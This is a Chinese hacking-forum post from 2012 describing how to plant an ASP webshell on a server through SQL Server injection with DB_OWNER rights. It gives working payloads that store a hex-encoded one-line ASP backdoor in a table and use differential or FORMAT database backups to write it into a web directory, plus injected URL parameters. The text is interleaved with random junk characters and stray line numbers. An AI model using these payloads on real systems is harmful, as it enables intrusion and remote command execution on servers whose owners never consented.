找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2136|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:
) V$ M8 s3 ?/ Q* C/ x9 S# l1 s2 e$ \! u: S; _! f& p" u: b& U
减少备份文件大小,得到可执行的webshell成功率提高不少
% |$ K5 I2 M2 {! t3 H( b* }一利用差异备份- @7 ]. D; x6 H# W& V
加一个参数WITH DIFFERENTIAL. n/ h& T9 z  y, `1 s
. C+ H$ z& `: U. K" v9 A
1
" V: |9 q% z: C25 J* W' `1 i9 Q" u* G+ d6 }
3) r! S1 a+ T+ K
4
. W$ p! H+ u" @! _, }' |; h8 C declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s* x1 ^9 ?0 ~2 i( Y
create table [dbo].[xiaolu] ([cmd] [image]);
- d; \" G6 U: N, j; W6 Sinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 r) B- R. U# xdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL ! f" u# T; Z8 d3 q
+ k5 Q) V! l) y4 l0 f+ }
二利用完全FORMAT% w8 ~5 Q  i: E
加一个参数WITH FROMAT
, p! E4 z& Z0 K1 I. p& u6 U有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以8 }, P  P/ G4 }8 X& |& u

6 r( c) L/ l; }6 H1
* {4 _" B. P1 ?# Q" }' P. U% i* E/ }2
1 w: X" h' ^: z6 b: J! ]: X) r8 t3% E$ y9 T" F9 v) F
4/ K! ?& n) L7 @/ e
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s' E4 G8 D, v- ^6 B2 M
create table [dbo].[xiaolu] ([cmd] [image]);
+ z9 t/ y: T2 m! Y2 Z0 I" cinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
0 z/ O( s; ?3 O  i* T5 Odeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
' S6 {& o6 Z# g! p/ f
0 e$ ]  D* i6 w2 G( |5 M/ D' h8 A8 ?总的来说就是那么简单几句,下面以备份数据库model为例子( z! D5 x1 t- z4 k  t% W
1
* f2 h9 z; P! V
( [( y% H: J. Q- \" B$ o1
3 a' }/ k* `/ E+ o; m9 Z$ } id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
8 B- B) F2 Z3 N% o9 K7 m) D, R
4 ]  U' o8 Q3 q8 ?# h% F% c29 t( ~% j1 A, G% C% O( `2 j- e6 E
7 |; C' {$ }$ u& P1 k3 p( ^
1
( W- z4 r5 F8 w2 H  V: y id=1;backup database model to disk='你的路径‘ with differential,format;--
+ D3 A# Q$ g& o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表